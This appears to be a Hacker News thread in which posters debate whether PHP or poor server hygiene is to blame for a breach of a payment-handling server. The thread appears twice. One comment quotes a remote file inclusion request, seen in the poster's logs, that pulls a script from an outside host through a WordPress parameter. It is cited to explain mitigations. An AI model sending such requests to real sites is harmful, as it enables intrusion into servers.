6 ms·

Why would they have a host with PHP installed on the same server where money is handled?! Totally irresponsible. I'm being serious. Unless you have Facebook's

by dscrd 12y ago

Why would they have a host with PHP installed on the same server where money is handled?! Totally irresponsible. I'm being serious. Unless you have Facebook's resources (and probably not even then) DO NOT USE PHP FOR ANYTHING THAT REQUIRES SECURITY! If you are, start a migration process today. Whatever you think it'll cost, it'll be worth it. If you cannot decide from the billions of choices out there, go with Go. It's hardly perfect, but way better and simple.

sanswork 12y ago
Which features of Go would you say make it inherently more secure to use than php given the same developer?
- dscrd 12y ago
  1. That you do not require any part of Go (except the obvious ones that are inside the compiled binary) to exist on the live server. 2. That Go is designed as a programming language.
  - sanswork 12y ago
    1. That would be an issue of environment configuration not language. 2. This is saying nothing. C is designed as a programming language but it's certainly possible to shoot your foot off with it as well. Go isn't going to protect you from using exec in a dumb way, or from unsanitized data by default, or by screwing up your file outputs.
ukigumo 12y ago
It may come as a surprise to many, but on high security services such as banks, servers that handle critical data cannot have any build tools installed or usable. Having said this, I've found limited proof that a particular language is any safer than another as it comes down to safe coding policies and risk mitigation strategies.
- dscrd 12y ago
  >Having said this, I've found limited proof that a particular language is any safer than another as it comes down to safe coding policies and risk mitigation strategies. Proof is right there in the article. To have PHP on the live server is a security risk, period.
  - sanswork 12y ago
    Having a general purpose blog system on the same server(and sharing the same database credentials and having the ability to write files) is a security risk it has nothing to do with the availability of php.
    - ukigumo 12y ago
      My point exactly. If instead of wordpress they had a copy of some other big-old-java-thingie it would have been just as exploitable.
  - ukigumo 12y ago
    I disagree. Having poor security "hygiene" is dangerous, the tools that you select to shoot yourself in the foot are less important than having a hardened server with minimal services and installed software (and host intrusion detection, etc..)
- feld 12y ago
  That's BS obscurity. If they can get a shell they can download a compiler anyway.
  - ukigumo 12y ago
    I'm not sure what you mean, so my answer below might be a misfire in which case I apologize. If an attacker can get a shell they would still need to have access to a exec environment and / or breakout of a "jail" or other protected space. Protecting your data store can prove tricky but there are quite a few products and techniques that basically reduce the amount of data that can be breached by any one attack vector (database firewalling, query filtering, etc). Tidying up an OS + middleware (and having a decent L7 firewall) is sufficient to deter most attacks which is all you can hope for unless you can afford a good security architect and a response team and even that does not guarantee 100% security. Obscurity, by itself, is not a solution but is often one of the most effective tools to deter simple attacks.
nadams 12y ago
> DO NOT USE PHP FOR ANYTHING THAT REQUIRES SECURITY! Using [your favorite scripting language] doesn't magically make things like SQL injection and other bad practices go away. There are ways to mitigate those issues by using frameworks in those languages - but really the issue here isn't "OMG PHP SUCKS" but rather Wordpress sucks for allowing something like this work: > wpadmin.php?include=http://someothersite.com/some-bad-script.php http://someothersite.com/some-bad-script.php I have seen that numerous times in my logs. There are settings in PHP configuration where you can actually prevent external downloading of scripts. However, ignoring the scripting language itself - the server itself could have mitigated behind a firewall and not allowing any outbound web browsing (obviously inbound 80 needs to be open - but there is no reason why it should be allowed to "browse" the web). Or even more limited outbound connection. Go browse some github projects (obviously those not using a framework) by random people in different languages - you will see that given the opportunity people will still do stupid things - even if the language makes it really hard to do it - as the saying goes "life finds a way".

by dscrd 12y ago

sanswork 12y ago

Which features of Go would you say make it inherently more secure to use than php given the same developer?

dscrd 12y ago
1. That you do not require any part of Go (except the obvious ones that are inside the compiled binary) to exist on the live server. 2. That Go is designed as a programming language.
- sanswork 12y ago
  1. That would be an issue of environment configuration not language. 2. This is saying nothing. C is designed as a programming language but it's certainly possible to shoot your foot off with it as well. Go isn't going to protect you from using exec in a dumb way, or from unsanitized data by default, or by screwing up your file outputs.

ukigumo 12y ago

It may come as a surprise to many, but on high security services such as banks, servers that handle critical data cannot have any build tools installed or usable. Having said this, I've found limited proof that a particular language is any safer than another as it comes down to safe coding policies and risk mitigation strategies.

dscrd 12y ago
>Having said this, I've found limited proof that a particular language is any safer than another as it comes down to safe coding policies and risk mitigation strategies. Proof is right there in the article. To have PHP on the live server is a security risk, period.
- sanswork 12y ago
  Having a general purpose blog system on the same server(and sharing the same database credentials and having the ability to write files) is a security risk it has nothing to do with the availability of php.
  - ukigumo 12y ago
    My point exactly. If instead of wordpress they had a copy of some other big-old-java-thingie it would have been just as exploitable.
- ukigumo 12y ago
  I disagree. Having poor security "hygiene" is dangerous, the tools that you select to shoot yourself in the foot are less important than having a hardened server with minimal services and installed software (and host intrusion detection, etc..)
feld 12y ago
That's BS obscurity. If they can get a shell they can download a compiler anyway.
- ukigumo 12y ago
  I'm not sure what you mean, so my answer below might be a misfire in which case I apologize. If an attacker can get a shell they would still need to have access to a exec environment and / or breakout of a "jail" or other protected space. Protecting your data store can prove tricky but there are quite a few products and techniques that basically reduce the amount of data that can be breached by any one attack vector (database firewalling, query filtering, etc). Tidying up an OS + middleware (and having a decent L7 firewall) is sufficient to deter most attacks which is all you can hope for unless you can afford a good security architect and a response team and even that does not guarantee 100% security. Obscurity, by itself, is not a solution but is often one of the most effective tools to deter simple attacks.

nadams 12y ago

> DO NOT USE PHP FOR ANYTHING THAT REQUIRES SECURITY! Using [your favorite scripting language] doesn't magically make things like SQL injection and other bad practices go away. There are ways to mitigate those issues by using frameworks in those languages - but really the issue here isn't "OMG PHP SUCKS" but rather Wordpress sucks for allowing something like this work: > wpadmin.php?include=http://someothersite.com/some-bad-script.php http://someothersite.com/some-bad-script.php I have seen that numerous times in my logs. There are settings in PHP configuration where you can actually prevent external downloading of scripts. However, ignoring the scripting language itself - the server itself could have mitigated behind a firewall and not allowing any outbound web browsing (obviously inbound 80 needs to be open - but there is no reason why it should be allowed to "browse" the web). Or even more limited outbound connection. Go browse some github projects (obviously those not using a framework) by random people in different languages - you will see that given the opportunity people will still do stupid things - even if the language makes it really hard to do it - as the saying goes "life finds a way".